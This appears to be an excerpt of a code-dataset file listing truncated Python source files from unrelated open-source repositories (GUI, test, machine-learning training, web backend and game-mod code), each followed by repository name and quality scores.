ttk.Frame.__init__(self, master)
self.grid()
self.master.title("EPICscr... | 2.78125 | 3 |
lib/tempora/timing.py | marcelveldt/script.module.cherrypy | 2 | 12775635 | <gh_stars>1-10
# -*- coding: utf-8 -*-
from __future__ import unicode_literals, absolute_import
import datetime
import functools
import numbers
import time
__metaclass__ = type
class Stopwatch:
"""
A simple stopwatch which starts automatically.
>>> w = Stopwatch()
>>> _1_sec = datetime.timedelta(seconds=1)
>... | 3.734375 | 4 |
MiniTemple/test.py | Lattay/MiniTemple | 0 | 12775636 | <reponame>Lattay/MiniTemple<filename>MiniTemple/test.py
import unittest
from MiniTemple import (
Template,
compile_text,
render_text
)
class TestTemple(unittest.TestCase):
def __init__(self, arg):
unittest.TestCase.__init__(self, arg)
self.maxDiff = None
def test_render_text(self)... | 2.9375 | 3 |
python_tools/pipeline_kickoff/create_title_file_from_samplesheet.py | mskcc/ACCESS-Pipeline | 4 | 12775637 | <reponame>mskcc/ACCESS-Pipeline
#!/usr/bin/env python
import xlrd
import argparse
import pandas as pd
from python_tools.constants import *
# Suppress pandas copy warning
pd.options.mode.chained_assignment = None
##################################
# Pipeline Kickoff Step #1
#
# This module is used to create a title f... | 2.34375 | 2 |
fast_torch_dp.py | lxuechen/fast-dpsgd | 0 | 12775638 | <gh_stars>0
'''
Opacus experiments for all the models
'''
import time
import torch
from torch import nn, optim
import data
from experimental.privacy_utils import autograd_grad_sample
from experimental.privacy_utils.privacy_engine import EfficientPrivacyEngine
from pytorch import get_data, model_dict
import utils
de... | 2.109375 | 2 |
openslides_backend/action/actions/user/reset_password_to_default_temporary.py | r-peschke/openslides-backend | 0 | 12775639 | from typing import Any, Dict
from ...util.register import register_action
from .check_temporary_mixin import CheckTemporaryMixin
from .reset_password_to_default import UserResetPasswordToDefaultAction
@register_action("user.reset_password_to_default_temporary")
class UserResetPasswordToDefaultTemporaryAction(
Ch... | 2.546875 | 3 |
WebODM-master/app/templatetags/settings.py | abhinavsri000/UAVision | 0 | 12775640 | <gh_stars>0
import datetime
import logging
from django import template
register = template.Library()
logger = logging.getLogger('app.logger')
@register.simple_tag(takes_context=True)
def settings_image_url(context, image):
try:
img_cache = getattr(context['SETTINGS'], image)
except KeyError:
... | 2.203125 | 2 |
tests/test_configdict.py | kalekundert/wellmap | 7 | 12775641 | #!/usr/bin/env python3
from wellmap import *
def test_empty():
config = configdict({})
assert config.meta == {}
assert config.rows == {}
assert config.irows == {}
assert config.cols == {}
assert config.icols == {}
assert config.wells == {}
assert config.user == {}
def test_user():
... | 2.46875 | 2 |
test.py | jaeyeon-park/trackGitRepo | 0 | 12775642 | from trackGits import *
import os
def installTest():
"""
Test installView with install function
"""
global __CONFIG_NAME, __SRC_DIR
conf = os.path.join(__SRC_DIR,__CONFIG_NAME)
if not isInstalled(conf):
installed = installView(conf,installer=install)
if not installed: return False
else: return True
els... | 2.734375 | 3 |
libgsea/extgsea.py | antonybholmes/libgsea | 0 | 12775643 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Thu Dec 13 14:13:10 2018
@author: antony
"""
import numpy as np
import pandas as pd
import sys
import matplotlib
from matplotlib.colors import Normalize
import matplotlib.pyplot as plt
import matplotlib.transforms as transforms
import libplot
import matplo... | 2.65625 | 3 |
ironicclient/v1/create_resources_shell.py | sapcc/python-ironicclient | 0 | 12775644 | <reponame>sapcc/python-ironicclient
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or a... | 2.53125 | 3 |
scripts/pyBusPirateLite/MicroWire.py | bopopescu/Bus-Pirate-1 | 0 | 12775645 | #!/usr/bin/env python
# encoding: utf-8
import sys,time
from optparse import OptionParser
from pyBusPirateLite.RAW_WIRE import *
def main():
# First of all parse the command line
parser = OptionParser()
parser.add_option("-c", "--capacity", dest="capacity", help="size of the me... | 2.8125 | 3 |
training.py | SidRama/Longitudinal-VAE | 4 | 12775646 | from torchvision import transforms
from torch.utils.data import DataLoader
from torch.utils.data.sampler import BatchSampler
import numpy as np
import torch
import os
from elbo_functions import deviance_upper_bound, elbo, KL_closed, minibatch_KLD_upper_bound, minibatch_KLD_upper_bound_iter
from model_test import MSE_... | 2.03125 | 2 |
project/program/migrations/0012_auto_20210309_1705.py | ElinaSyr/tedxntua2021 | 1 | 12775647 | <gh_stars>1-10
# Generated by Django 2.2.17 on 2021-03-09 15:05
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('program', '0011_auto_20210309_1703'),
]
operations = [
migrations.RemoveField(
model_name='activity',
name='... | 1.546875 | 2 |
DS-400/Medium/253-Meeting Room II/Sort.py | ericchen12377/Leetcode-Algorithm-Python | 2 | 12775648 | <filename>DS-400/Medium/253-Meeting Room II/Sort.py
class Solution:
def minMeetingRooms(self, intervals: List[List[int]]) -> int:
rooms = 0
if not intervals:
return 0
endp = 0
starts = sorted([i[0] for i in intervals])
ends = sorted([i[1... | 3.296875 | 3 |
constant/__init__.py | Naopil/EldenBot | 0 | 12775649 | from .rgapi import * | 1.132813 | 1 |
S4/S4 Library/simulation/game_effect_modifier/pie_menu_modifier.py | NeonOcean/Environment | 1 | 12775650 | <gh_stars>1-10
from game_effect_modifier.base_game_effect_modifier import BaseGameEffectModifier
from game_effect_modifier.game_effect_type import GameEffectType
from sims4.localization import TunableLocalizedStringFactory
from sims4.tuning.tunable import OptionalTunable, HasTunableSingletonFactory, AutoFactoryInit, Tu... | 2.046875 | 2 |